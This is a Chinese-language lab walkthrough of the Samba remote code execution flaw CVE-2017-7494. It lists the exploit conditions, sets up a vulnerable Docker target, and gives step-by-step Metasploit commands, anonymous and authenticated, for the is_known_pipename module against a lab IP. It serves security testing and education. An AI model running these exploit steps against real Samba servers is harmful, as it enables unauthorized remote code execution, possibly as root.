漏洞信息:
2017年5月24日Samba發布了4.6.4版本，中間修復了一個嚴重的遠程代碼執行漏洞，漏洞編號CVE-2017-7494，漏洞影響了Samba 3.5.0 之后到4.6.4/4.5.10/4.4.14中間的所有版本。
漏洞利用條件:
1. 服務器打開了文件/打印機共享端口445，讓其能夠在公網上訪問
2. 共享文件擁有寫入權限
3. 惡意攻擊者需猜解Samba服務端共享目錄的物理路徑
滿足以上條件時，由於Samba能夠為選定的目錄創建網絡共享，當惡意的客戶端連接上一個可寫的共享目錄時，通過上傳惡意的鏈接庫文件，使服務端程序加載並執行它，從而實現遠程代碼執行。根據服務器的情況，攻擊者還有可能以root身份執
測試環境：
在docker下搭建測試環境
1.拉取鏡像到本地
root@backlion-virtual-machine:/home/backlion# docker pull medicean/vulapps:s_samba_1
2.啟動環境，並將虛擬的445端口映射到物理機的445端口上：
root@backlion-virtual-machine:/home/backlion# docker run -d -p 445:445 -p 139:139 -p 138:138 -p 137:137 medicean/vulapps:s_samba_1
3.在msf下的利用（kali主機IP: 10.0.0.140，靶機下的ubuntu的物理住機IP:10.0.0.158)

將is_known_pipename.rb
拷貝到/usr/share/metasploit-framework/modules/exploits/linux/samba/
匿名下的samba遠程執行之MSF:
root@backlion:~# service postgresql start
root@backlion:~# msfconsole msf > search is_known_pipename msf > use exploit/linux/samba/is_known_pipename msf exploit(is_known_pipename) > show options msf exploit(is_known_pipename) > set rhost 10.0.0.158 msf exploit(is_known_pipename) > set rport 445 msf exploit(is_known_pipename) > exploit
認證的samb下MSF:
msf exploit(is_known_pipename) > set SMBUSER test msf exploit(is_known_pipename) > set SMBPASS 123456 msf exploit(is_known_pipename) > set rhost 10.0.0.158 msf exploit(is_known_pipename) > set rport 445 msf exploit(is_known_pipename) > exploit
